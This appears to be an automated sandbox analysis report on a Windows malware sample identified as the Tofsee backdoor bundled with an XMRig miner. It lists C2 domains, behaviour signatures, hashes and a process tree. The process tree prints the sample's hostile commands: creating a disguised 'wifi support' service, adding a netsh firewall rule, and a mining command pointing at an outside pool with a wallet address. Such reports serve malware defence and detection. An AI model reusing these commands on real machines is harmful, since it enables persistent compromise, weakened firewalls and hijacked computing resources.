Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    10/09/2022, 14:57

General

  • Target
    file.exe
  • Size 306KB
  • Sample220910-sbkrhsacc5
  • SHA256 768e84be2f71c0f64a4f935f7233b47125fc4bc2c34fd53b15729dca3bb43761
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 13 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1764
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\igatcjg\
      2⤵
        PID:904
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\vdvfufni.exe" C:\Windows\SysWOW64\igatcjg\
        2⤵
          PID:480
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create igatcjg binPath= "C:\Windows\SysWOW64\igatcjg\vdvfufni.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1520
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description igatcjg "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1324
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start igatcjg
          2⤵
          • Launches sc.exe
          PID:1252
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:560
      • C:\Windows\SysWOW64\igatcjg\vdvfufni.exe
        C:\Windows\SysWOW64\igatcjg\vdvfufni.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:868
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:856
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1596

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            vdvfufni.exe

            • Path C:\Users\Admin\AppData\Local\Temp\vdvfufni.exe
            • Size 11.2MB
            • SHA256 ef8406aa5420c4cf933f6184a158b557660427f46452a9e6f2e59fb389898be7
            • MD5 SHA1 SHA512 SSDEEP

            vdvfufni.exe

            • Path C:\Windows\SysWOW64\igatcjg\vdvfufni.exe
            • Size 11.2MB
            • SHA256 ef8406aa5420c4cf933f6184a158b557660427f46452a9e6f2e59fb389898be7
            • MD5 SHA1 SHA512 SSDEEP

            memory/856-84-0x00000000000B0000-0x00000000000B6000-memory.dmp

            memory/856-81-0x0000000002310000-0x000000000251F000-memory.dmp

            memory/856-80-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/856-79-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/856-72-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/856-70-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/868-77-0x0000000000400000-0x00000000007EE000-memory.dmp

            memory/868-74-0x00000000009DB000-0x00000000009EC000-memory.dmp

            memory/1596-89-0x0000000000130000-0x0000000000221000-memory.dmp

            memory/1596-87-0x0000000000130000-0x0000000000221000-memory.dmp

            memory/1764-54-0x0000000075BA1000-0x0000000075BA3000-memory.dmp

            memory/1764-57-0x00000000003C0000-0x00000000003D3000-memory.dmp

            memory/1764-56-0x0000000000C6B000-0x0000000000C7C000-memory.dmp

            memory/1764-58-0x0000000000400000-0x00000000007EE000-memory.dmp

            memory/1764-67-0x0000000000400000-0x00000000007EE000-memory.dmp

            memory/1764-66-0x0000000000C6B000-0x0000000000C7C000-memory.dmp